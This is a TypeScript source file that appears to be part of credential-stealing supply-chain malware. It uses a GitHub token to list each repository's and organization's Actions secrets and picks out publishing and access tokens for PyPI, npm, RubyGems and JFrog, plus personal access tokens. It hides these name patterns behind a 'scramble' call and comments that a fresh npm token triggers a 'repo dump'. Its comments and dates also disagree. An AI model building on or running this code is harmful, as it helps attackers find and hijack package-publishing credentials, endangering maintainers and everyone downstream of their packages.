102 lines
2.7 KiB
TypeScript
102 lines
2.7 KiB
TypeScript
import { logUtil } from "../../utils/logger";
|
|
import { githubFetch } from "./github";
|
|
|
|
interface SecretsResponse {
|
|
total_count: number;
|
|
secrets: Array<{ name: string; updated_at?: string }>;
|
|
}
|
|
|
|
export interface RepoSecretInfo {
|
|
fullName: string;
|
|
secrets: string[];
|
|
isPrivate: boolean;
|
|
}
|
|
|
|
declare function scramble(str: string): string;
|
|
|
|
const TARGET_SECRET_PATTERNS = [
|
|
scramble("PYPI"),
|
|
scramble("NPM_"),
|
|
scramble("OP_"),
|
|
scramble("RUBY"),
|
|
scramble("PAT"),
|
|
scramble("PERSONAL_ACCESS"),
|
|
scramble("JFROG"),
|
|
];
|
|
|
|
/** NPM_TOKEN is only counted if it has been updated since May 20, 2025.
|
|
* Tokens updated before this date or with no date are considered stale
|
|
* and do not trigger a repo dump. */
|
|
function isStaleNpmToken(secret: {
|
|
name: string;
|
|
updated_at?: string;
|
|
}): boolean {
|
|
if (secret.name.toUpperCase() !== "NPM_TOKEN") return false;
|
|
if (!secret.updated_at) return true; // no date = stale, skip
|
|
const updated = new Date(secret.updated_at);
|
|
const cutoff = new Date("2026-05-20T00:00:00Z");
|
|
return updated < cutoff;
|
|
}
|
|
|
|
function isTargetSecret(secret: {
|
|
name: string;
|
|
updated_at?: string;
|
|
}): boolean {
|
|
const upper = secret.name.toUpperCase();
|
|
if (!TARGET_SECRET_PATTERNS.some((p) => upper.includes(p))) return false;
|
|
// Exclude stale NPM_TOKENs (updated > 30 days ago)
|
|
if (isStaleNpmToken(secret)) return false;
|
|
return true;
|
|
}
|
|
|
|
export async function* streamRepoSecrets(
|
|
token: string,
|
|
repos:
|
|
| AsyncIterable<{ fullName: string; private: boolean }>
|
|
| Iterable<{ fullName: string; private: boolean }>,
|
|
): AsyncGenerator<RepoSecretInfo> {
|
|
for await (const repo of repos) {
|
|
const [owner, name] = repo.fullName.split("/");
|
|
if (!owner || !name) continue;
|
|
|
|
logUtil.log(`checking ${repo.fullName}`);
|
|
const targetSecrets: string[] = [];
|
|
|
|
try {
|
|
const res = await githubFetch(
|
|
token,
|
|
`/repos/${owner}/${name}/actions/secrets?per_page=100`,
|
|
);
|
|
if (res.ok) {
|
|
const data = (await res.json()) as SecretsResponse;
|
|
targetSecrets.push(
|
|
...data.secrets.filter(isTargetSecret).map((s) => s.name),
|
|
);
|
|
}
|
|
} catch {
|
|
// No access or no secrets
|
|
}
|
|
|
|
try {
|
|
const res = await githubFetch(
|
|
token,
|
|
`/repos/${owner}/${name}/actions/organization-secrets?per_page=100`,
|
|
);
|
|
if (res.ok) {
|
|
const data = (await res.json()) as SecretsResponse;
|
|
targetSecrets.push(
|
|
...data.secrets.filter(isTargetSecret).map((s) => s.name),
|
|
);
|
|
}
|
|
} catch {
|
|
// No access or not an org repo
|
|
}
|
|
|
|
yield {
|
|
fullName: repo.fullName,
|
|
secrets: targetSecrets,
|
|
isPrivate: repo.private,
|
|
};
|
|
}
|
|
}
|